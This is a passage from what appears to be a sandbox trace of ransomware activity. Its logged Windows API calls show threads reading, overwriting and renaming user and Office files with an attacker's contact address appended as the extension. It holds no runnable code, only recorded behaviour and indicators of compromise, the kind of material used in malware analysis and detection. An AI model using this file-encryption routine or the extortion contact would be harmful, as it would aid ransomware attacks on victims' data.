lpNumberOfBytesRead=0x6a8fcb4, lpOverlapped=0x0 | out: lpBuffer=0x97b7008*, lpNumberOfBytesRead=0x6a8fcb4*=0xbfca, lpOverlapped=0x0) returned 1 [0061.948] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.948] WriteFile (in: hFile=0x1278, lpBuffer=0x12d48188*, nNumberOfBytesToWrite=0xbfca, lpNumberOfBytesWritten=0x6a8fcb0, lpOverlapped=0x0 | out: lpBuffer=0x12d48188*, lpNumberOfBytesWritten=0x6a8fcb0*=0xbfca, lpOverlapped=0x0) returned 1 [0062.818] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4296b0 [0062.818] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429480 [0062.818] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429480) returned 1 [0062.818] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d48188) returned 1 [0062.820] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97b7008) returned 1 [0062.821] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418d70) returned 1 [0062.821] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402ac8) returned 1 [0062.821] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x21) returned 0x4e00f0 [0062.821] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.821] WriteFile (in: hFile=0x1278, lpBuffer=0x44d1f0*, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0x6a8fd18, lpOverlapped=0x0 | out: lpBuffer=0x44d1f0*, lpNumberOfBytesWritten=0x6a8fd18*=0x105, lpOverlapped=0x0) returned 1 [0062.859] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44d1f0) returned 1 [0063.398] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e0120) returned 1 [0063.398] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429480) returned 1 [0063.398] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e00f0) returned 1 [0063.398] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4296b0) returned 1 [0063.398] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429318) returned 1 [0063.398] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4291d8) returned 1 [0063.398] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4290c0) returned 1 [0063.398] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc4) returned 0x5e00c90 [0063.398] wcscpy (in: _Dest=0x5e00c90, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR" [0063.398] wcscat (in: _Dest=0x5e00c90, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR.mailto[2Hamlampampom@cock.li].cd46d" [0063.398] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x6a8fcd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.398] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xda) returned 0x12cf98b0 [0063.400] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12cf98b0) returned 1 [0063.400] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48dfe0) returned 1 [0063.400] NtQueryInformationFile (in: FileHandle=0x1278, IoStatusBlock=0x6a8fcdc, FileInformation=0x6a8fcb4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x6a8fcdc, FileInformation=0x6a8fcb4) returned 0x0 [0063.400] NtSetInformationFile (FileHandle=0x1278, IoStatusBlock=0x6a8fcdc, FileInformation=0x6a8fcb4, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.401] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00c90) returned 1 [0063.401] FlushFileBuffers (hFile=0x1278) returned 1 [0066.223] CloseHandle (hObject=0x1278) Thread: id = 1121 os_tid = 0xae8 [0059.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart9.bdr")) returned 0x20 [0061.900] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR", dwFileAttributes=0x20) returned 1 [0061.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart9.bdr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x127c [0061.900] GetFileSizeEx (in: hFile=0x127c, lpFileSize=0x7c6fd7c | out: lpFileSize=0x7c6fd7c*=50838) returned 1 [0061.900] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0xc692, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.901] ReadFile (in: hFile=0x127c, lpBuffer=0x7c6fd00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x7c6fcfc, lpOverlapped=0x0 | out: lpBuffer=0x7c6fd00*, lpNumberOfBytesRead=0x7c6fcfc*=0x4, lpOverlapped=0x0) returned 1 [0061.904] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.904] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429278 [0061.904] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429138 [0061.904] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429318 [0061.904] NtQuerySystemTime (in: CurrentTime=0x7c6fcdc | out: CurrentTime=0x7c6fcdc*=132174898258776000) returned 0x0 [0061.904] RtlRandomEx (in: Seed=0x7c6fce8 | out: Seed=0x7c6fce8) returned 0x31f104d [0061.904] RtlRandomEx (in: Seed=0x7c6fce8 | out: Seed=0x7c6fce8) returned 0x73038063 [0061.904] RtlRandomEx (in: Seed=0x7c6fce8 | out: Seed=0x7c6fce8) returned 0x24d704a1 [0061.904] RtlRandomEx (in: Seed=0x7c6fce8 | out: Seed=0x7c6fce8) returned 0x5478c60a [0061.904] RtlRandomEx (in: Seed=0x7c6fce8 | out: Seed=0x7c6fce8) returned 0x1fbafc0d [0061.904] RtlRandomEx (in: Seed=0x7c6fce8 | out: Seed=0x7c6fce8) returned 0x5bc1312c [0061.904] RtlRandomEx (in: Seed=0x7c6fce8 | out: Seed=0x7c6fce8) returned 0x23968851 [0061.904] RtlRandomEx (in: Seed=0x7c6fce8 | out: Seed=0x7c6fce8) returned 0x4c45a7fd [0061.904] RtlRandomEx (in: Seed=0x7c6fce8 | out: Seed=0x7c6fce8) returned 0x64545d55 [0061.904] RtlRandomEx (in: Seed=0x7c6fce8 | out: Seed=0x7c6fce8) returned 0xb9f6e6d [0061.904] RtlRandomEx (in: Seed=0x7c6fce8 | out: Seed=0x7c6fce8) returned 0x79b56627 [0061.905] RtlRandomEx (in: Seed=0x7c6fce8 | out: Seed=0x7c6fce8) returned 0xa848ada [0061.905] RtlRandomEx (in: Seed=0x7c6fce8 | out: Seed=0x7c6fce8) returned 0x50e7d651 [0061.905] RtlRandomEx (in: Seed=0x7c6fce8 | out: Seed=0x7c6fce8) returned 0x4ed18a98 [0061.905] RtlRandomEx (in: Seed=0x7c6fce8 | out: Seed=0x7c6fce8) returned 0x62c647a6 [0061.905] RtlRandomEx (in: Seed=0x7c6fce8 | out: Seed=0x7c6fce8) returned 0x231a2fef [0061.905] RtlRandomEx (in: Seed=0x7c6fce8 | out: Seed=0x7c6fce8) returned 0x1028110f [0061.905] RtlRandomEx (in: Seed=0x7c6fce8 | out: Seed=0x7c6fce8) returned 0xbacfa6c [0061.905] RtlRandomEx (in: Seed=0x7c6fce8 | out: Seed=0x7c6fce8) returned 0x2eca3c18 [0061.905] RtlRandomEx (in: Seed=0x7c6fce8 | out: Seed=0x7c6fce8) returned 0x37b1d76a [0061.905] RtlRandomEx (in: Seed=0x7c6fce8 | out: Seed=0x7c6fce8) returned 0x47d0da59 [0061.905] RtlRandomEx (in: Seed=0x7c6fce8 | out: Seed=0x7c6fce8) returned 0x2772e4ac [0061.905] RtlRandomEx (in: Seed=0x7c6fce8 | out: Seed=0x7c6fce8) returned 0x2c855eab [0061.905] RtlRandomEx (in: Seed=0x7c6fce8 | out: Seed=0x7c6fce8) returned 0x319ab7f8 [0061.905] RtlRandomEx (in: Seed=0x7c6fce8 | out: Seed=0x7c6fce8) returned 0x3451dbd3 [0061.905] RtlRandomEx (in: Seed=0x7c6fce8 | out: Seed=0x7c6fce8) returned 0x68638474 [0061.905] RtlRandomEx (in: Seed=0x7c6fce8 | out: Seed=0x7c6fce8) returned 0x21a2de9c [0061.905] RtlRandomEx (in: Seed=0x7c6fce8 | out: Seed=0x7c6fce8) returned 0x76be0a76 [0061.905] RtlRandomEx (in: Seed=0x7c6fce8 | out: Seed=0x7c6fce8) returned 0xf5649a8 [0061.905] RtlRandomEx (in: Seed=0x7c6fce8 | out: Seed=0x7c6fce8) returned 0x58a23a69 [0061.905] RtlRandomEx (in: Seed=0x7c6fce8 | out: Seed=0x7c6fce8) returned 0x1c76cf7e [0061.905] RtlRandomEx (in: Seed=0x7c6fce8 | out: Seed=0x7c6fce8) returned 0x1318cd0c [0061.917] ReadFile (in: hFile=0x127c, lpBuffer=0x96fa100, nNumberOfBytesToRead=0xc696, lpNumberOfBytesRead=0x7c6fcd8, lpOverlapped=0x0 | out: lpBuffer=0x96fa100*, lpNumberOfBytesRead=0x7c6fcd8*=0xc696, lpOverlapped=0x0) returned 1 [0061.933] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.933] WriteFile (in: hFile=0x127c, lpBuffer=0x965a670*, nNumberOfBytesToWrite=0xc696, lpNumberOfBytesWritten=0x7c6fcd4, lpOverlapped=0x0 | out: lpBuffer=0x965a670*, lpNumberOfBytesWritten=0x7c6fcd4*=0xc696, lpOverlapped=0x0) returned 1 [0065.507] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce690 [0065.507] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce6e0 [0065.507] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce6e0) returned 1 [0065.508] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x965a670) returned 1 [0065.508] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96fa100) returned 1 [0065.750] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418ed8) returned 1 [0065.750] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402840) returned 1 [0065.750] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x21) returned 0x97cef00 [0065.750] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.750] WriteFile (hFile=0x127c, lpBuffer=0x423da8, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0x7c6fd3c, lpOverlapped=0x0) Thread: id = 1122 os_tid = 0xaf0 [0059.465] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CHS" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.chs")) returned 0x20 [0065.471] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CHS", dwFileAttributes=0x20) returned 0 [0065.719] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CHS" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.chs"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0065.719] GetLastError () returned 0x5 [0065.719] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CHS", dwFileAttributes=0x20) returned 0 [0065.719] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x439950) returned 1 Thread: id = 1123 os_tid = 0xaf4 [0059.466] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CHT" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.cht")) returned 0x20 [0065.504] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CHT", dwFileAttributes=0x20) returned 0 [0065.505] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CHT" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.cht"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0065.505] GetLastError () returned 0x5 [0065.505] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CHT", dwFileAttributes=0x20) returned 0 [0065.505] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4380f8) returned 1 Thread: id = 1124 os_tid = 0xaf8 [0059.466] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CZE" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.cze")) returned 0x20 [0065.718] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CZE", dwFileAttributes=0x20) returned 0 [0065.718] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CZE" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.cze"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0065.718] GetLastError () returned 0x5 [0065.718] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CZE", dwFileAttributes=0x20) returned 0 [0065.718] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x438ea0) returned 1 Thread: id = 1125 os_tid = 0xafc [0059.467] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\0vQ3xh.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\6sug7z_-\\0vq3xh.m4a")) returned 0x20 [0059.467] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\0vQ3xh.m4a", dwFileAttributes=0x20) returned 1 [0059.467] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\0vQ3xh.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\6sug7z_-\\0vq3xh.m4a"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1178 [0059.467] GetFileSizeEx (in: hFile=0x1178, lpFileSize=0x801fc94 | out: lpFileSize=0x801fc94*=83082) returned 1 [0059.467] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x14486, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.467] ReadFile (in: hFile=0x1178, lpBuffer=0x801fc18, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x801fc14, lpOverlapped=0x0 | out: lpBuffer=0x801fc18*, lpNumberOfBytesRead=0x801fc14*=0x4, lpOverlapped=0x0) returned 1 [0059.468] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.468] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf550 [0059.468] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf5c8 [0059.468] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf5f0 [0059.468] NtQuerySystemTime (in: CurrentTime=0x801fbf4 | out: CurrentTime=0x801fbf4*=132174898234440000) returned 0x0 [0059.468] RtlRandomEx (in: Seed=0x801fc00 | out: Seed=0x801fc00) returned 0x1486f05f [0059.468] RtlRandomEx (in: Seed=0x801fc00 | out: Seed=0x801fc00) returned 0xb59860c [0059.468] RtlRandomEx (in: Seed=0x801fc00 | out: Seed=0x801fc00) returned 0x24f3dbbc [0059.468] RtlRandomEx (in: Seed=0x801fc00 | out: Seed=0x801fc00) returned 0x5dd230 [0059.469] RtlRandomEx (in: Seed=0x801fc00 | out: Seed=0x801fc00) returned 0x2d9a8bdd [0059.469] RtlRandomEx (in: Seed=0x801fc00 | out: Seed=0x801fc00) returned 0x4a6adc0e [0059.469] RtlRandomEx (in: Seed=0x801fc00 | out: Seed=0x801fc00) returned 0x661bc896 [0059.469] RtlRandomEx (in: Seed=0x801fc00 | out: Seed=0x801fc00) returned 0x1939f9b9 [0059.469] RtlRandomEx (in: Seed=0x801fc00 | out: Seed=0x801fc00) returned 0x25455845 [0059.469] RtlRandomEx (in: Seed=0x801fc00 | out: Seed=0x801fc00) returned 0x2d3a2d66 [0059.469] RtlRandomEx (in: Seed=0x801fc00 | out: Seed=0x801fc00) returned 0x5bd3ff94 [0059.469] RtlRandomEx (in: Seed=0x801fc00 | out: Seed=0x801fc00) returned 0x7088b68e [0059.469] RtlRandomEx (in: Seed=0x801fc00 | out: Seed=0x801fc00) returned 0x44df7070 [0059.469] RtlRandomEx (in: Seed=0x801fc00 | out: Seed=0x801fc00) returned 0x4c26d06a [0059.469] RtlRandomEx (in: Seed=0x801fc00 | out: Seed=0x801fc00) returned 0x4801fa1d [0059.469] RtlRandomEx (in: Seed=0x801fc00 | out: Seed=0x801fc00) returned 0x7dc63449 [0059.469] RtlRandomEx (in: Seed=0x801fc00 | out: Seed=0x801fc00) returned 0xfacc304 [0059.469] RtlRandomEx (in: Seed=0x801fc00 | out: Seed=0x801fc00) returned 0x66c8a809 [0059.469] RtlRandomEx (in: Seed=0x801fc00 | out: Seed=0x801fc00) returned 0x5c9d919e [0059.469] RtlRandomEx (in: Seed=0x801fc00 | out: Seed=0x801fc00) returned 0x5d4dbcf4 [0059.469] RtlRandomEx (in: Seed=0x801fc00 | out: Seed=0x801fc00) returned 0x173d6d46 [0059.469] RtlRandomEx (in: Seed=0x801fc00 | out: Seed=0x801fc00) returned 0x4595e966 [0059.469] RtlRandomEx (in: Seed=0x801fc00 | out: Seed=0x801fc00) returned 0x51e8ce91 [0059.469] RtlRandomEx (in: Seed=0x801fc00 | out: Seed=0x801fc00) returned 0x34a882a1 [0059.469] RtlRandomEx (in: Seed=0x801fc00 | out: Seed=0x801fc00) returned 0x26884918 [0059.469] RtlRandomEx (in: Seed=0x801fc00 | out: Seed=0x801fc00) returned 0x7cebc29a [0059.469] RtlRandomEx (in: Seed=0x801fc00 | out: Seed=0x801fc00) returned 0x6c3ccd81 [0059.469] RtlRandomEx (in: Seed=0x801fc00 | out: Seed=0x801fc00) returned 0x227c728c [0059.469] RtlRandomEx (in: Seed=0x801fc00 | out: Seed=0x801fc00) returned 0x2ab8096b [0059.469] RtlRandomEx (in: Seed=0x801fc00 | out: Seed=0x801fc00) returned 0x19ea645 [0059.469] RtlRandomEx (in: Seed=0x801fc00 | out: Seed=0x801fc00) returned 0x15f4b064 [0059.469] RtlRandomEx (in: Seed=0x801fc00 | out: Seed=0x801fc00) returned 0xfac4de4 [0059.481] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.481] ReadFile (in: hFile=0x1178, lpBuffer=0x9745130, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x801fbd4, lpOverlapped=0x0 | out: lpBuffer=0x9745130*, lpNumberOfBytesRead=0x801fbd4*=0xc800, lpOverlapped=0x0) returned 1 [0059.482] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.482] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44baa8 [0059.482] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437850 [0059.482] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf550 [0059.482] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf550) returned 1 [0059.483] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x19540890 [0059.487] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf550 [0059.487] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf5f0 [0059.488] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf5f0) returned 1 [0059.488] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437850) returned 1 [0059.488] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44baa8) returned 1 [0059.488] WriteFile (in: hFile=0x1178, lpBuffer=0x19540890*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x801fbd4, lpOverlapped=0x0 | out: lpBuffer=0x19540890*, lpNumberOfBytesWritten=0x801fbd4*=0xc800, lpOverlapped=0x0) returned 1 [0062.490] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19540890) returned 1 [0062.492] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9745130) returned 1 [0062.494] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x21) returned 0x4e0420 [0062.494] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.495] WriteFile (in: hFile=0x1178, lpBuffer=0x19bd2130*, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0x801fc54, lpOverlapped=0x0 | out: lpBuffer=0x19bd2130*, lpNumberOfBytesWritten=0x801fc54*=0x105, lpOverlapped=0x0) returned 1 [0062.837] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19bd2130) returned 1 [0062.837] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e0330) returned 1 [0062.837] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0128) returned 1 [0062.837] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e0420) returned 1 [0062.837] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf550) returned 1 [0062.837] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf5c8) returned 1 [0062.837] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf618) returned 1 [0062.837] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf640) returned 1 [0062.837] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd0) returned 0x40d538 [0062.837] wcscpy (in: _Dest=0x40d538, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\0vQ3xh.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\0vQ3xh.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\0vQ3xh.m4a" [0062.837] wcscat (in: _Dest=0x40d538, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\0vQ3xh.m4a.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\0vQ3xh.m4a.mailto[2Hamlampampom@cock.li].cd46d" [0062.837] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\0vQ3xh.m4a.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x801fc0c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\0vQ3xh.m4a.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0062.837] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xe6) returned 0x423da8 [0062.921] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x423da8) returned 1 [0062.921] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1e3d8) returned 1 [0062.921] NtQueryInformationFile (in: FileHandle=0x1178, IoStatusBlock=0x801fc18, FileInformation=0x801fbf0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x801fc18, FileInformation=0x801fbf0) returned 0x0 [0062.921] NtSetInformationFile (FileHandle=0x1178, IoStatusBlock=0x801fc18, FileInformation=0x801fbf0, Length=0x28, FileInformationClass=0x4) returned 0x0 [0062.940] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d538) returned 1 [0062.940] FlushFileBuffers (hFile=0x1178) returned 1 [0066.195] CloseHandle (hObject=0x1178) Thread: id = 1126 os_tid = 0xb04 [0059.488] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\hxaWqwq TcnsT.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\6sug7z_-\\hxawqwq tcnst.wav")) returned 0x20 [0059.488] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\hxaWqwq TcnsT.wav", dwFileAttributes=0x20) returned 1 [0059.488] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\hxaWqwq TcnsT.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\6sug7z_-\\hxawqwq tcnst.wav"), dwDesiredAccess=0xc0010000, 